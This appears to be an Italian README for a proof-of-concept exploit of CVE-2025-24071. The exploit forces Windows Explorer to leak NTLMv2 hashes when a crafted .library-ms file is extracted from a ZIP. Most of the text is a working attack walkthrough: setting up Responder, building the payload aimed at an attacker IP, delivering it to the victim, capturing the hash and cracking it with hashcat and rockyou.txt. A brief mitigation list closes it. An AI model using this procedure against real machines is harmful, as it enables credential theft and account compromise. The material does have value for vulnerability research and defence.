CVE-2025-24071-POC-NTLMHashDisclosure

• Attiva l'autenticazione SMB automatica verso una condivisione controllata dall'attaccante.
• Nessuna interazione richiesta — Esplora file di Windows avvia questa autenticazione NTLM automaticamente.
• Comporta la divulgazione dell'hash NTLMv2 (information disclosure).
• Interessa Windows 10/11 in tutte le versioni, in particolare la 11 23H2.

Configura l'ambiente dell'attaccante

sudo apt update && sudo apt install responder -y

Avvia Responder

sudo responder -I eth0

Esegui lo script di exploit

Installa il modulo Python richiesto

pip install colorama python3 CVE-2025-24071.py -i <attacker_ip> -n testpayload -o ./output --keep

Questo genererà: testpayload.library-ms testpayload.zip

Test sulla macchina vittima

Trasferisci testpayload.zip sulla macchina di test Windows 11. Estrai lo ZIP usando Esplora file di Windows. Questo induce Windows a tentare di accedere al percorso SMB, divulgando l'hash NTLM.

Cattura l'hash

responder -I etho0

Prepara il file dell'hash

crea il file hash,txt

victim::DOMAIN:1122334455667788:11223344556677889900aabbccddeeff:01010000000000000090d5d00f3

Scegli una wordlist

la più comune è rockyou.txt

Esegui Hashcat

hashcat -m 5600 -a 0 -o cracked.txt hash.txt /usr/share/wordlists/rockyou.txt

Mitigazione

• Blocca l'SMB in uscita (TCP 445) sui firewall.
• Disabilita l'autenticazione automatica verso condivisioni SMB non attendibili (criteri di gruppo).
• Monitora l'estrazione di file .library-ms e le connessioni SMB.